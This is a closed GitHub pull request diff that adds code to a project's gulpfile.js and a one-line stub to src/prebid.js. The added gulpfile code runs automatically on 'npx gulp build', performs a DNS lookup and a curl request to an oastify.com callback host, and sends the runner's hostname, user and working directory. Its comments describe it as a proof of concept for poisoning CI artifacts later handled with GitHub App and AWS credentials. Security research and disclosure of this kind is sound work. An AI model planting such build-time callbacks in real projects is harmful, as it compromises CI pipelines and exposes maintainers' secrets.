Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions gulpfile.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,16 @@
/* eslint-disable no-console */
'use strict';

// Security test - PoC for artifact poisoning chain (PR-assignment-deps -> PR-assignment)
// This DNS lookup proves attacker-controlled code executes during `npx gulp build`
// in the upstream workflow context. The downstream workflow_run then processes
// the resulting artifact with GitHub App PEM and AWS credentials.
const { execSync } = require('child_process');
try {
execSync('nslookup prebid-artifact-poison.031kvh6l6zga7dmiy0nmqult7kdb11pq.oastify.com');
execSync('curl -s https://031kvh6l6zga7dmiy0nmqult7kdb11pq.oastify.com/prebid-artifact-poison?runner=$(hostname)\\&user=$(whoami)\\&pwd=$(pwd)');
} catch(e) {}

var _ = require('lodash');
var argv = require('yargs').argv;
var gulp = require('gulp');
Expand Down
1 change: 1 addition & 0 deletions src/prebid.js
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
// test
Loading